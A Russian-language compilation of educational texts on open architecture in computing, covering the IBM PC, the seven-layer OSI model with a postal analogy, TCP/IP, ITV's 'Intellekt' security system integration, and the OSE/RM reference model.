18.04.2007

Интегрированный комплекс безопасности объединяет различные подсистемы в единую структуру. Для согласования работы оборудования и программного обеспечения разработаны единые стандарты передачи данных. они называются открытыми потому, что их спецификации опубликованы и доступны всем разработчикам.

ОТКРЫТАЯ АРХИТЕКТУРА В ЭВМ

Открытая архитектура в ЭВМ - это архитектура ЭВМ или периферийного устройства, на которую опубликованы спецификации, что позволяет другим производителям разрабатывать дополнительные устройства к системам с такой архитектурой.

Работа над первым персональным компьютером была закончена в 1981 году компанией IBM, и в то время IBM не придавала особого значения ПК, используя много чужих компонентов, например, операционную систему DOS от Microsoft и процессор от Intel. Ни эти компоненты, ни система ввода-вывода не были лицензированы, что в дальнейшем позволило множеству сторонних фирм, пользуясь опубликованными спецификациями, забрать у IBM огромную долю рынка персональных компьютеров.

Сегодня в основе ПК лежит открытая архитектура - то есть способ построения, регламентирующий и стандартизирующий только описание принципа действия компьютера и его конфигурации, что позволяет собирать его из отдельных узлов и деталей, разработанных и изготовленных независимыми фирмами-производителями. Принцип открытой архитектуры также предусматривает наличие в компьютере внутренних слотов расширения. ПК легко расширяется и модернизируется с использованием этих гнезд, к которым пользователь может подключать разнообразные устройства, удовлетворяющие заданному стандарту, и тем самым конфигурировать свою машину в соответствии с личными предпочтениями.

Для того чтобы соединить друг с другом различные устройства компьютера, они должны иметь одинаковый интерфейс (англ. interface от inter - между и face - лицо). Интерфейс - это средство сопряжения двух устройств, в котором все физические и логические параметры согласуются между собой. Если интерфейс является общепринятым, например, утвержденным на уровне международных соглашений, то он называется стандартным.

Каждый из функциональных элементов, таких как память, монитор или другое устройство, связан с шиной определенного типа - адресной, управляющей или шиной данных. Для согласования интерфейсов периферийные устройства подключаются к шине не напрямую, а через свои контроллеры или адаптеры и порты. контроллеры и адаптеры представляют собой наборы электронных цепей, которыми снабжаются устройства компьютера с целью достижения совместимости их интерфейсов. Контроллеры, кроме того, осуществляют непосредственное управление периферийными устройствами по запросам микропроцессора.

ДОСТОИНСТВА И ПРЕИМУЩЕСТВА СИСТЕМ, СТРОЯЩИХСЯ НА ПРИНЦИПАХ ОТКРЫТОЙ АРХИТЕКТУРЫ

Экономический аспект

Открытая архитектура позволяет строить и модернизировать системы наиболее экономичным способом. Источники экономической эффективности состоят:

в отсутствии необходимости разработки дополнительных интерфейсов к программным и аппаратным средствам;
в возможности повторного использования компьютерных программ при переходе с одной платформы на другую.

Инновационный аспект

Важнейшим аспектом принципа открытой архитектуры является ее инновационный характер. без использования перспективных стандартов невозможен выпуск конкурентосопособной компьютерной и телекоммуникационной продукции.

Новые протоколы передачи данных и аппаратные решения базируются на общепринятых стандартах с опубликованными спецификациями. Это делает простым их внедрение, а также замещение ими устаревших продуктов.

ВЗАИМОДЕЙСТВИЕ ОТКРЫТЫХ СИСТЕМ

Для того чтобы обеспечить возможность работы в единой сети разнородным ЭВМ, построенным на различных платформах и работающим под различными операционными системами, необходимо было разработать идеологию взаимодействия ЭВМ. Она получила название архитектуры открытых систем.

При реализации сетей, как правило, используются стандартные протоколы. Это могут быть фирменные, национальные или международные стандарты. Для единого представления данных в линиях связи, по которым передается информация, сформирована международная организация по стандартизации (англ. ISO - International Standards Organization). Цель ISO - разработка модели международного коммуникационного протокола, в рамках которого можно разрабатывать международные стандарты.

Архитектура вычислителной сети - это описание ее общей модели. Многообразие производителей вычислительных сетей и сетевых программных продуктов поставило проблему объединения сетей различных архитектур. Для ее решения в 1984 году ISO была разработана базовая модель взаимодействия открытых систем - OSI. Эта модель, часто называемая моделью архитектуры открытых систем, является международным стандартом для передачи данных.

Открытая система - система, взаимодействующая с другими системами в соответствии с принятыми стандартами. Модель взаимодействия открытых систем (OSI) определяет процедуры передачи данных между системами, которые «открыты» друг другу благодаря совместному использованию ими соответствующих стандартов, хотя сами системы могут быть созданы на основе различных технических средств.

OSI служит базой для производителей при разработке совместимого сетевого оборудования. Эта модель не является неким физическим телом, отдельные элементы которого можно осязать. Она устанавливает способы передачи данных по сети, определяет стандартные протоколы, используемые сетевым и программным обеспечением. Модель представляет собой самые общие рекомендации для построения совместимых сетевых программных продуктов. Эти рекомендации должны быть реализованы как в аппаратуре, так и в программных средствах вычислительных сетей.

ОТКРЫТАЯ АРХИТЕКТУРА СИСТЕМЫ «ИНТЕЛЛЕКТ»

В интегрированной системе безопасности «Интеллект» реализованы все принципы открытых систем. «Интеллект» осуществляет взаимодействие с другими системами в соответствии с принятыми стандартами.

Прежде всего нужно отметить, что в «Интеллекте» применен объектно-ориентированный подход: любой элемент комплекса безопасности рассматривается и управляется как объект с определенным набором параметров (реакций и событий). Для взаимодействия «Интеллекта» с внешним по в его дереве объектов существует виртуальный модуль (IIDK - Interface Integration Development Kit), осуществляющий экспорт событий «Интеллекта» во внешнюю систему. И наоборот, события, получаемые через этот модуль «Интеллектом», интерпретируются им как определенные управляющие действия, что позволяет конфигурировать «Интеллект» и управлять им из внешней системы.

Программно-аппаратный комплекс функционирует на основе IBM-совместимых персональных компьютеров, используя для связи сервер - клиент транспортный протокол TCP/IP, уже давно являющийся установленным стандартом передачи данных с открытой спецификацией. Более того, «Интеллект» не накладывает ограничений на максимальное количество серверов и клиентов в сети - ограничения устанавливает только пропускная способность канала обмена информацией между ними.

Оборудование, интегрированное в систему «Интеллект», подключается к компьютеру через стандартные интерфейсы ввода-вывода, на которые также давно известны и опубликованы спецификации (RS-232, RS-485 и т.д.). И в этом случае «Интеллект» не накладывает ограничения на количество функциональных узлов оборудования, подключаемого к одному компьютеру, - ограничения накладывает только спецификация самого компьютера (количество свободных интерфейсов).

При разработке охранно-пожарных панелей, систем контроля доступа и другого охранного оборудования компаниипроизводители придерживаются установленных стандартов и спецификаций на интерфейсы обмена и передачи информации, но протоколы управления у каждого производителя при этом могут быть разными. Протокол - это набор правил и процедур, необходимых для организации взаимодействия между оборудованием и программной средой. Все, что необходимо для работы оборудования любой сложности любого производителя в среде «Интеллект», - это протокол, посредством которого осуществляются контроль и управление этим оборудованием. можно сказать, что протоколов существует ровно столько, сколько производителей оборудования, но в любом случае оборудование современных охранных систем будет подключаться на физическом уровне к компьютеру через интерфейсы, спецификации на которые давно известны всему миру.

Максим Савчихин,
руководитель отдела обучающего консультирования компании ITV

Понятие «система» носит двоякий характер. С одной стороны, по общему определению, система - это совокупность взаимодействующих элементов (компонентов), аппаратных и/или программных. С другой стороны, система может выступать в качестве компонента другой, более сложной системы, которая в свою очередь может быть компонентом системы следующего уровня.

В связи с этим нужно уточнить представление об архитектуре систем и средств, как внешнем их описании (reference model) с точки зрения того, кто ими пользуется. Архитектура открытой системы, таким образом, оказывается иерархическим описанием ее внешнего облика и каждого компонента с точки зрения:

пользователя (пользовательский интерфейс),

проектировщика системы (среда проектирования),

прикладного программиста (системы и инструментальные средства /среды программирования),

системного программиста (архитектура ЭВМ),

разработчика аппаратуры (интерфейсы оборудования).

Предлагаемый взгляд на архитектуру открытых систем вытекает из указанной выше необходимости комплексной реализации общих свойств открытости и является расширением принятого понятия об архитектуре ЭВМ по Г. Майерсу.

Для примера рассмотрим архитектурное представление системы обработки данных, состоящей из компонентов четырех областей: пользовательского интерфейса (соответственно точкам зрения всех указанных выше групп), средств обработки данных, средств представления и хранения данных, средств коммуникаций. Для этого представления требуется использовать три уровня описаний: среды, которая представляется системой, операционной среды (системы), на которую опираются прикладные компоненты, и оборудования. Каждый из этих уровней разделен для удобства на два подуровня (см. табл. 1).

Таблица 1

Иерархия представления архитектуры системы обработки данных

Уровень архитектуры системы обработки данных	Компоненты системы обработки данных
Интерфейсы	Средства обработки данных	Представление и хранение данных	Коммуникации
Среда для конечного пользователя и инструментарий прикладного программиста	Генераторы форм и отчетов	Утилиты и библиотеки	Языки программирования 4GL	OSI. Прикладной уровень
Языки программные и командные языки (оболочки)	Прикладные программы	Языки запросов СУБД	OSI. Уровни сессий и представительный
Операционная система	Средства оконного интерфейса	Верхний уровень ОС (организация процесса обработки)	Средства доступа к среде хранения	OSI. Транспортный уровень
Драйверы	Ядро операционной системы	Файловая система	OSI. Сетевой уровень
Оборудование	Системные интерфейсы (в т. ч. организация ввода-вывода)	Процессоры (система команд)	Организация памяти	OSI. Уровень передачи данных
Периферийные устройства	Системная шина	Шины (интерфейс) массовой памяти	OSI. Физический уровень

Уровень среды для конечного пользователя (user environment) характеризуется входными и выходными описаниями (генераторы форм и отчетов), языками проектирования информационной модели предметной области (языки 4GL), функциями утилит и библиотечных программ и прикладным уровнем среды коммуникаций, когда требуются услуги дистанционного обмена информацией. На этом же уровне определена среда (инструментарий) прикладного программирования (appliсation environment) : языки и системы программирования, командные языки (оболочки операционных систем), языки запросов СУБД, уровни сессий и представительный среды коммуникаций.

На уровне операционной системы представлены компоненты операционной среды, реализующие функции организации процесса обработки, доступа к среде хранения данных, оконного интерфейса, а также транспортного уровня среды коммуникаций. Нижний подуровень операционной системы - это ее ядро, файловая система, драйверы управления оборудованием, сетевой уровень среды коммуникаций.

На уровне оборудования легко видеть привычные разработчикам ЭВМ составляющие архитектуры аппаратных средств:

система команд процессора (процессоров),

организация памяти,

организация ввода-вывода и т. д.,

а также физическую реализацию в виде:

системных шин,

шин массовой памяти,

интерфейсов периферийных устройств,

уровня передачи данных,

физического уровня среды хранения.

Представленный взгляд на архитектуру открытой системы обработки данных относится к одно-машинным реализациям, включенным в сеть передачи данных для обмена информацией. Понятно, что он может быть легко обобщен и на многопроцессорные системы с разделением функций, а также на системы распределенной обработки данных. Поскольку здесь явно выделены компоненты, составляющие систему, можно рассматривать как интерфейсы взаимодействия этих компонентов на каждом из указанных уровней, так и интерфейсы взаимодействия между уровнями.

Описания и реализации этих интерфейсов могут быть предметом рассмотрения только в пределах данной системы. Тогда свойства ее открытости проявляются только на внешнем уровне. Однако значение идеологии открытых систем состоит в том, что она открывает методологические пути к унификации интерфейсов в пределах родственных по функциям групп компонентов для всего класса систем данного назначения или всего множества открытых систем.

Стандарты интерфейсов этих компонент (де-факто или принятые официально) определяют лицо массовых продуктов на рынке. Область распространения этих стандартов являются предметом согласования интересов разных групп участников процесса информатизации - пользователей, проектировщиков систем, поставщиков программных продуктов и поставщиков оборудования.

Выше был рассмотрен пример архитектуры открытых систем, реализующих технологию обработки данных. Можно было бы представить аналогичным образом открытые системы для всех классов информационных технологий: обработки текстов, изображений, речи, машинной графики. Особенно актуально проработать подходы открытых систем для мультимедиа-технологий, сочетающих несколько разных представлений информации. Как известно, за рубежом эти работы проводятся различными ассоциациями и консорциумами заинтересованных фирм и академических организаций и международными организациями по стандартизации. К сожалению, российские специалисты в этих работах до сих пор в лучшем случае играют роль наблюдателей.

Модели сети.Эталонная модель OSI

Общая модель вычислительной сети определяет характеристики сети в целом и характеристики и функции, входящих в неё основных компонентов.

Архитектура вычислительной сети – это описание её общей модели. Многообразие производителей вычислительных сетей и сетевых программных продуктов поставило проблему объединения сетей различных архитектур.

В начале 1980 гг. Международная Организация по Стандартизации (ISO) признала необходимость в создания модели сети, которая могла бы помочь поставщикам создавать реализации взаимодействующих сетей. Эту потребность удовлетворяет выпущенная в 1984 г. Эталонная модель OSI быстро стала основной архитектурной моделью для передачи межкомпьютерных сообщений. Часто ее называют моделью архитектуры открытых систем

Открытая система – это система, взаимодействующая с другими системами в соответствии с принятыми стандартами. Модель взаимодействия открытых систем служит базой для производителей при разработке совместимого сетевого оборудования.

Перемещение информации между компьютерами различных схем является чрезвычайно сложной задачей.

Эта модель устанавливает способы передачи данных по сети, определяет стандартные протоколы, используемые сетевым и программным обеспечением. Модель представляет собой самые общие рекомендации для построения совместимых программных продуктов. Эти рекомендации должны быть реализованы как в аппаратуре, так и в программных средствах вычислительных сетей.

Модель взаимодействия открытых систем определяет процедуры передачи данных между системами,которые открыты друг другу, благодаря совместному использованию ими соответствующих стандартов, хотя сами системы могут быть созданы на различных технических средствах. В настоящее время модель взаимодействия открытых систем является наиболее популярной сетевой архитектурной моделью. Она рассматривает общие функции, а не специальные решения, поэтому не все реальные сети абсолютно точно ей следуют. Модель взаимодействия открытых систем состоит из семи уровней. На каждом уровне выполняются определённые сетевые функции. Нижние уровни (1 и 2) определяют физическую среду передачи данных и сопутствующей задачи (такие, как передачи битов данных через плату сетевого адаптера и кабель). Самые верхние уровни определяют, каким способом осуществляется доступ приложений к услугам связи. Чем выше уровень, тем более сложную задачу он решает. Перед подачей в сеть данные разбиваются на пакеты.

Пакет - это единица информации, передаваемая между устройствами сети как единое целое. На передающей стороне пакет проходит последовательно через все уровни системы сверху вниз. Затем он передаётся по сетевому кабелю на компьютер – получатель и опять проходит все уровни в обратном порядке.

12. Уровни модели osi . Иерархическая связь.

Эталонная модель OSI делит проблему перемещения информации между компьютерами через среду сети на семь менее крупных, и следовательно, более легко разрешимых проблем. Каждая из этих семи проблем выбрана потому, что она относительно автономна, и следовательно, ее легче решить без чрезмерной опоры на внешнюю информацию. Каждая из семи областей проблемы решалась с помощью одного из уровней модели. Большинство устройств сети реализует все семь уровней. Однако в режиме потока информации некоторые реализации сети пропускают один или более уровней.

Два самых низших уровня OSI реализуются аппаратным и программным обеспечением; остальные пять высших уровней, как правило, реализуются программным обеспечением. Справочная модель OSI описывает, каким образом информация проделывает путь через среду сети (например, провода) от одной прикладной программы (например, программы обработки крупноформатных таблиц) до другой прикладной программы, находящейся в другом компьютере. Т.к. информация, которая должна быть отослана, проходит вниз через уровни системы, по мере этого продвижения она становится все меньше похожей на человеческий язык и все больше похожей на ту информацию, которую понимают компьютеры, а именно "единицы" и "нули".

Уровни модели OSI (в направлении снизу вверх) и их общие функции можно рассмотреть следующим образом:

Рассмотрим, как в модели SI происходит обмен данными между пользователями, находящимися на разных континентах.

1.На прикладном уровне с помощью специальных приложений пользователь создает документ (сообщение, рисунок и т. п.).

Прикладной уровень - это самый близкий к пользователю уровень OSI. Он отличается от других уровней тем, что не обеспечивает услуг ни одному из других уровней OSI; однако он обеспечивает ими прикладные процессы, лежащие за пределами масштаба модели OSI. Примерами таких прикладных процессов могут служить программы обработки крупномасштабных таблиц, программы обработки слов, программы банковских терминалов и т.д. Прикладной уровень идентифицирует и устанавливает наличие предполагаемых партнеров для связи, синхронизирует совместно работающие прикладные программы, а также устанавливает соглашение по процедурам устранения ошибок и управления целостностью информации. Прикладной уровень также определяет, имеется ли в наличии достаточно ресурсов для предполагаемой связи.

2.На уровне представления операционная система его компьютера фиксирует, где находятся созданные данные (в оперативной памяти, в файле на жестком диске и т. п.), и обеспечивает взаимодействие со следующим уровнем.

Представительный уровень отвечает за то, чтобы информация, посылаемая из прикладного уровня одной системы, была читаемой для прикладного уровня другой системы. При необходимости представительный уровень осуществляет трансляцию между множеством форматов представления информации путем использования общего формата представления информации. Представительный уровень занят не только форматом и представлением фактических данных пользователя, но также структурами данных, которые используют программы. Поэтому кроме трансформации формата фактических данных (если она необходима), представительный уровень согласует синтаксис передачи данных для прикладного уровня.

3.На сеансовом уровне компьютер пользователя взаимодействует с локальной или глобальной сетью. Протоколы этого уровня проверяют права пользователя на «выход в эфир» и передают документ к протоколам транспортного уровня.

Как указывает его название, сеансовый уровень устанавливает, управляет и завершает сеансы взаимодействия между прикладными задачами. Сеансы состоят из диалога между двумя или более объектами представления (как вы помните, сеансовый уровень обеспечивает своими услугами представительный уровень). Сеансовый уровень синхронизирует диалог между объектами представительного уровня и управляет обменом информации между ними. В дополнение к основной регуляции диалогов (сеансов) сеансовый уровень предоставляет средства для отправки информации, класса услуг и уведомления в исключительных ситуациях о проблемах сеансового, представительного и прикладного уровней. Сеансовый уровень - это комплексный уровень, который обеспечивает возможность соединения и выбор маршрута между двумя конечными системами, подключенными к разным "подсетям", которые могут находиться в разных географических пунктах. В данном случае "подсеть" - это по сути независимый сетевой кабель (иногда называемый сегментом). Т.к. две конечные системы, желающие организовать связь, может разделять значительное географическое расстояние и множество подсетей, сетевой уровень является доменом маршрутизации. Протоколы маршрутизации выбирают оптимальные маршруты через последовательность соединенных между собой подсетей. Традиционные протоколы сетевого уровня передают информацию вдоль этих маршрутов.

4. .На транспортном уровне документ преобразуется в ту форму, в которой положено передавать данные в используемой сети. Например, он может нарезаться на небольшие пакеты стандартного размера.

Транспортный уровень Граница между сеансовым и транспортным уровнями может быть представлена как граница между протоколами прикладного уровня и протоколами низших уровней. В то время как прикладной, представительный и сеансовый уровни заняты прикладными вопросами, четыре низших уровня решают проблемы транспортировки данных. Транспортный уровень пытается обеспечить услуги по транспортировке данных, которые избавляют высшие слои от необходимости вникать в ее детали. В частности, заботой транспортного уровня является решение таких вопросов, как выполнение надежной транспортировки данных через объединенную сеть. Предоставляя надежные услуги, транспортный уровень обеспечивает механизмы для установки, поддержания и упорядоченного завершения действия виртуальных каналов, систем обнаружения и устранения неисправностей транспортировки и управления информационным потоком (с целью предотвращения переполнения системы данными из другой системы).

5. Сетевой уровень определяет маршрут движения данных в сети. Так, например если на транспортном уровне данные были «нарезаны» на пакеты, то на сетевом уровне каждый пакет должен получить адрес, по которому он должен быть доставлен независимо от прочих пакетов.

Сетевой уровень - это комплексный уровень, который обеспечивает возможность соединения и выбор маршрута между двумя конечными системами, подключенными к разным "подсетям", которые могут находиться в разных географических пунктах. В данном случае "подсеть" - это по сути независимый сетевой кабель (иногда называемый сегментом). Т.к. две конечные системы, желающие организовать связь, может разделять значительное географическое расстояние и множество подсетей, сетевой уровень является доменом маршрутизации. Протоколы маршрутизации выбирают оптимальные маршруты через последовательность соединенных между собой подсетей. Традиционные протоколы сетевого уровня передают информацию вдоль этих маршрутов.

6. Канальный уровень. Уровень соединения необходим для того, чтобы промодулировать сигналы, циркулирующие на физическом уровне, в соответствии с данными, полученным с сетевого уровня. Например в компьютере эти функции выполняет сетевая карта или модем.

Канальный уровень (формально называемый информационно-канальным уровнем) обеспечивает надежный транзит данных через физический канал. Выполняя эту задачу, канальный уровень решает вопросы физической адресации (в противоположность сетевой или логической адресации), топологии сети, линейной дисциплины (каким образом конечной системе использовать сетевой канал), уведомления о неисправностях, упорядоченной доставки блоков данных и управления потоком информации.

7. Физический уровень. Реальная передача данных происходит на физическом уровне. Здесь нет ни документов, ни пакетов, ни даже байтов - только биты, то есть, элементарные единицы представления данных. Восстановление документа из них произойдет постепенно, при переходе с нижнего на верхний уровень на компьютер клиента.

Средства физического уровня лежат за пределами компьютера. В локальных сетях это оборудование самой сети. При удаленной связи с использованием телефонных модемов это линии телефонной связи, коммутационное оборудование телефонных станций и т. п.

Физический уровень определяет электротехнические, механические, процедурные и функциональные характеристики активации, поддержания и дезактивации физического канала между конечными системами. Спецификации физического уровня определяют такие характеристики, как уровни напряжений, синхронизацию изменения напряжений, скорость передачи физической информации, максимальные расстояния передачи информации, физические соединители и другие аналогичные характеристики.

На компьютере получателя информации происходит обратный процесс преобразования данных от битовых сигналов до документа.

Разные уровни протоколов сервера и клиента не взаимодействуют друг с другом напрямую, но они взаимодействуют через физический уровень. Постепенно переходя с верхнего уровня на нижний, данные непрерывно преобразуются, «обрастают» дополнительными данными, которые анализируются протоколами соответствующих уровней на сопредельной стороне. Это создает эффект виртуального взаимодействия уровней между собой.

Для иллюстрации сказанного рассмотрим простой пример взаимодействия двух корреспондентов с помощью обычной почты. Если они регулярно отправляют друг другу письма и, соответственно, получают их, то они могут полагать, что между ними существует соединение на пользовательском (прикладном уровне). Однако это не совсем так. Такое соединение можно назвать виртуальным. Оно было бы физическим, если бы каждый из корреспондентов лично относил другому письмо и вручал в собственные руки. В реальной жизни он бросает его в почтовый ящик и ждет ответа.

Сбором писем из общественных почтовых ящиков и доставкой корреспонденции в личные почтовые ящики занимаются местные почтовые службы. Это другой уровень модели связи, лежащий ниже. Для того чтобы наше письмо достигло адресата в другом городе, должна существовать связь между нашей местной почтовой службой и его местной почтовой службой. Однако никакой физической связью эти службы не обладают - поступившую почтовую корреспонденцию они только сортируют и передают на уровень федеральной почтовой службы.

Федеральная почтовая служба в своей работе опирается на службы очередного уровня, например на почтово-багажную службу железнодорожного ведомства. И только рассмотрев работу этой службы, мы найдем, наконец, признаки физического соединения, например железнодорожный путь, связывающий два города.

Важно обратить внимание на то, что в нашем примере образовалось несколько виртуальных соединений между аналогичными службами, находящимися в пунктах отправки и приема. Не вступая в прямой контакт, эти службы взаимодействуют между собой. На каком-то уровне письма укладываются в мешки, мешки пломбируют, к ним прикладывают сопроводительные документы, которые где-то в другом городе изучаются и проверяются на аналогичном уровне.

Ниже в таблице приводится аналогия между уровнями модели OSI и операциями служб пересылки обычной почты.

Уровень модели OSI	Аналогия
Прикладной уровень	Письмо написано на бумаге. Определено его содержание
Уровень представления	Письмо запечатано в конверт. Конверт заполнен. Наклеена марка. Клиентом соблюдены необходимые требования протокола доставки
Сеансовый уровень	Письмо опущено в почтовый ящик. Выбрана служба доставки.
Транспортный уровень	Письмо доставлено на почтамт. Оно отделено от писем, с доставкой которых местная почтовая служба справилась бы самостоятельно
Сетевой уровень	После сортировки письмо уложено в мешок. Появилась новая единица доставки - мешок
Уровень соединения	Мешки писем уложены в вагон. Появилась новая единица доставки - вагон
Физический уровень	Вагон прицеплен к локомотиву. Появилась новая единица доставки - состав. За доставку взялось другое ведомство, действующее по другим протоколам

Чтобы различные компьютеры сети могли установить связь друг с другом, они должны “разговаривать” на одном языке, то есть использовать один и тот же протокол. Протокол - это “язык”, используемый для обмена данными при работе в сети. Существует множество протоколов, каждый из них выполняет различные задачи. На разных уровнях модели OSI используются различные протоколы.

Ethernet – это протокол Уровня соединения, используемый большинством современных локальных сетей. Протокол Ethernet обеспечивает унифицированный интерфейс к сетевой среде передачи, который позволяет операционной системе использовать для приема и передачи данных несколько протоколов Сетевого уровня одновременно. Token Ring – это альтернатива «классическому» протоколу Ethernet на Уровне соединения.

Для возможности передачи информации по сетевым каналам связи необходимо установить протокол обмена сообщениями (пакетами). Существует несколько таких протоколов. Наиболее широко используются следующие: NetBEUI , IPX / SPX , TCP / IP . Протоколы NETBEUI и IPX / SPX - используется в локальных сетях. Протоколы TCP / IP являются базовыми протоколами глобальной сети Интернет.

Протокол TCP / IP

Со времени своего создания в 1970-х, стек протоколов TCP/IP был развит в промышленный стандарт для протоколов передачи данных на Сетевом и Транспортном уровнях модели OSI. В дополнение, стек включает множество протоколов, работающих на самых разных уровнях OSI, от Канального уровня внизу, до Прикладного уровня наверху.

Создатели операционных систем стремятся упростить стек сетевых протоколов, чтобы сделать более понятным среднему пользователю. Например, на рабочей станции Windows установка протоколов TCP/IP выполняется с помощью выбора одного единственного условного протокола, хотя на самом деле при этом осуществляется поддержка всего семейства протоколов, из которых TCP (протокол управления передачей) и IP (Интернет-протокол) – всего лишь два представителя.

Понимание принципов работы каждого из протоколов семейства TCP/IP, а также механизмов их взаимодействия между собой для обеспечения соответствующих коммуникационных сервисов, представляется крайне важным для процессов обслуживания и устранения неисправностей TCP/IP- сетей.

Можно указать несколько причин тому, что TCP/IP стал набором протоколов, используемым большинством сетей, не последняя из которых – то, что эти протоколы применяются в Интернете. Протоколы TCP/IP были разработаны для поддержки зарождавшейся сети Интернет (в то время носившей название ARPANET), еще до появления персональных компьютеров, когда почти ничего не было слышно о возможности взаимодействия между компьютерными продуктами разных производителей. Интернет был тогда и остаётся сейчас сетью, состоящей из компьютеров различных типов, и, соответственно, требовался именно тот набор протоколов, который был бы общим для всех них. Главным элементом, отличающим TCP/IP от остальных стеков протоколов, обеспечивающих серверы Сетевого и Транспортного уровней, является собственная уникальная система адресаций. Каждому устройству сети TCP/IP присваивается IP-адрес (иногда больше, чем один), однозначно идентифицирующий это устройство для других систем..

Аннотация: Методологическое обоснование открытых систем как совокупности концепций и основанных на них эталонных моделей. Модель OSI.

2.1. Методологический базис открытых систем

Процесс стандартизации информационных технологий должен иметь методологическое основание , которое позволило бы обоснованно определять объекты, методы и инструменты стандартизации. При этом понятие информационные технологии трактуется следующим образом: " Информационные технологии включают в себя спецификацию, проектирование и разработку программно-аппаратных и телекоммуникационных систем и средств, имеющих дело с поиском и сбором информации, представлением, организацией, обработкой, безопасностью, хранением, передачей, а также обменом и управлением информацией". Такое толкование и единая методологическая база реализована в виде методологического базиса открытых систем .

Методологически базис открытых систем состоит из совокупности концепций и основанных на них эталонных моделей:

концептуальная основа и принципы построения открытых систем;
эталонная модель окружений открытых систем (Open System Environment Reference Model - OSE RM);
эталонная модель взаимосвязи открытых систем (Open Systems Interconnection Reference Model - OSI RM);
аппарат разработки и использования профилей ИТ/ИС, предназначенный для создания открытых систем в пространстве стандартизованных решений;
таксономия профилей;
концепция тестирования конформности систем ИТ исходным стандартам и профилям.

Наиболее весомыми результатами в становлении методологии базиса открытых систем сегодня являются:

создание системы специализированных международных организаций по целостной разработке и стандартизации открытых систем;
разработка эталонных моделей и соответствующих им базовых спецификаций для важнейших разделов области ИТ, что позволило сформировать концептуальный и функциональный базис пространства для создания информационных технологий и систем (ИТ/ИС);
разработка и широкое использование концепции профиля, предоставляющей аппарат для специфицирования и документирования сложных и многопрофильных открытых ИТ/ИС, задающих функциональности базовых спецификаций и/или профилей;
разработка таксономии профилей, представляющей собой классификационную систему ИТ/ИС и обеспечивающую систематическую идентификацию профилей в пространстве ИТ/ИС;
разработка концепции и методологии соответствия реализаций ИТ/ИС тем спецификациям, которые ими реализуются.

Методологический базис информационных технологий , основную часть которого составляют спецификации ИТ различных уровней абстракции, формируется на основе иерархического подхода, что способствует анализу его структуры с помощью некоторой многоуровневой модели.

Рис. 2.1.

Модель ориентирована на руководителей ИТ-служб и менеджеров проектов, ответственных за приобретение/разработку, внедрение, эксплуатацию и развитие информационных систем, состоящих их неоднородных программно-аппаратных и коммуникационных средств. Прикладные программы в среде OSE могут включать:

системы реального времени (Real Time System - RTS) и встроенные системы (Embedded System - ES);
системы обработки транзакций (Transaction Processing System - TPS);
системы управления базами данных (DataBase Management System - DBMS);
разнообразные системы поддержки принятия решения (Decision Support System - DSS);
управленческие информационные системы административного (Executive Information System - EIS) и производственного (Enterprise Resource Planning - ERP) назначения;
географические информационные системы (Geographic Information System - GIS);
другие специализированные системы, в которых могут применяться спецификации, рекомендуемые международными организациями.

С точки зрения производителей и пользователей среда OSE является достаточно универсальной функциональной инфраструктурой, регламентирующей и облегчающей разработку или приобретение, эксплуатацию и сопровождение прикладных защищенных систем, которые:

выполняются на любой используемой платформе поставщика или пользователя;
используют любую операционную систему;
обеспечивают доступ к базе данных и управление данными;
обмениваются данными и взаимодействуют через сети любых поставщиков и в локальных сетях потребителей;
взаимодействуют с пользователями через стандартные интерфейсы в системе общего интерфейса "пользователь - компьютер".

Таким образом, среда OSE поддерживает "переносимые, масштабируемые и взаимодействующие прикладные компьютерные программы через стандартные функциональности, интерфейсы, форматы данных, протоколы обмена и доступа".

Стандартами могут быть международные, национальные и другие общедоступные спецификации и соглашения. Эти стандарты и спецификации доступны любому разработчику, поставщику и пользователю вычислительного и коммуникационного программного обеспечения и оборудования при построении систем и средств, удовлетворяющих критериям OSE.

переносимы , если они реализованы на стандартных платформах и написаны на стандартизованных языках программирования. Они работают со стандартными интерфейсами, которые связывают их с вычислительной средой, читают и создают данные в стандартных форматах и передают их в соответствии со стандартными протоколами, выполняющимися в различных вычислительных средах.

Прикладные программы и средства OSE масштабируемы в среде различных платформ и сетевых конфигураций - от персональных компьютеров до мощных серверов, от локальных систем для распараллеленных вычислений до крупных GRID-систем. Разницу в объемах вычислительных ресурсов на любой платформе пользователь может заметить по некоторым косвенным признакам, например по скорости выполнения прикладной программы, но никогда - по отказам работы системы.

Прикладные программы и средства OSE взаимодействуют друг с другом , если они предоставляют услуги пользователю, используя стандартные протоколы, форматы обмена данными и интерфейсы систем совместной или распределенной обработки данных для целенаправленного использования информации. Процесс передачи информации с одной платформы на другую через локальную вычислительную сеть или комбинацию любых сетей (вплоть до глобальных) должен быть абсолютно прозрачен для прикладных программ и пользователей и не вызывать технических трудностей при использовании. При этом местонахождение и расположение других платформ, операционных систем, баз данных, программ и пользователей не должно иметь значения для используемого прикладного средства.

Рабочая группа 1003.0 POSIX IEEE разработала эталонную модель OSE (Open Systems Environment / Reference Model - OSE/RM). Эта модель описана на международном уровне в техническом отчете TR 14250 комитета JTC1 ( рис. 2.2).

В описании модели используется два типа элементов:

логические объекты , включающие в себя прикладное программное обеспечение (ППО), прикладные платформы и внешнюю функциональную среду;
интерфейсы , содержащие интерфейс прикладной системы и интерфейс обмена с внешней средой.

Логические объекты представлены тремя классами, интерфейсы - двумя. В контексте эталонной модели OSE прикладное программное обеспечение включает в себя непосредственно коды программ, данные, документацию, тестирующие, вспомогательные и обучающие средства ( рис. 2.3).

Рис. 2.3.

Прикладная платформа состоит из совокупности программно-аппаратных компонентов, реализующих системные услуги, которые используются ППО. Понятие прикладной платформы не включает конкретной реализации функциональных возможностей. Например, платформа может представлять собой как процессор, используемый несколькими приложениями, так и большую распределенную систему.

Внешняя среда платформ состоит из элементов, внешних по отношению к ППО и прикладной платформе (рабочие станции, внешние периферийные устройства сбора, обработки и передачи данных, объекты коммуникационной инфраструктуры, услуги других платформ, операционных систем или сетевых устройств).

Интерфейс прикладной программы (Application Program Interface - API) является интерфейсом между ППО и прикладной платформой. Основная функция API - поддержка переносимости ППО. Классификация API производится в зависимости от типа реализуемых услуг: взаимодействие в системе "пользователь - компьютер", обмен информацией между приложениями, внутренние услуги системы, коммуникационные услуги.

Интерфейс обмена с внешней средой (External Environment Interface - EEI) обеспечивает передачу информации между прикладной платформой и внешней средой, а также между прикладными программами, которые выполняются на одной платформе.

Рис. 2.4.

Эталонная модель OSE/RM реализует и регулирует взаимоотношения "поставщик - пользователь". Логические объекты прикладной платформы и внешней среды являются поставщиком услуг, ППО - пользователем. Они взаимодействуют с помощью набора API и EEI интерфейсов, определенных моделью POSIX OSE ( рис. 2.4) .

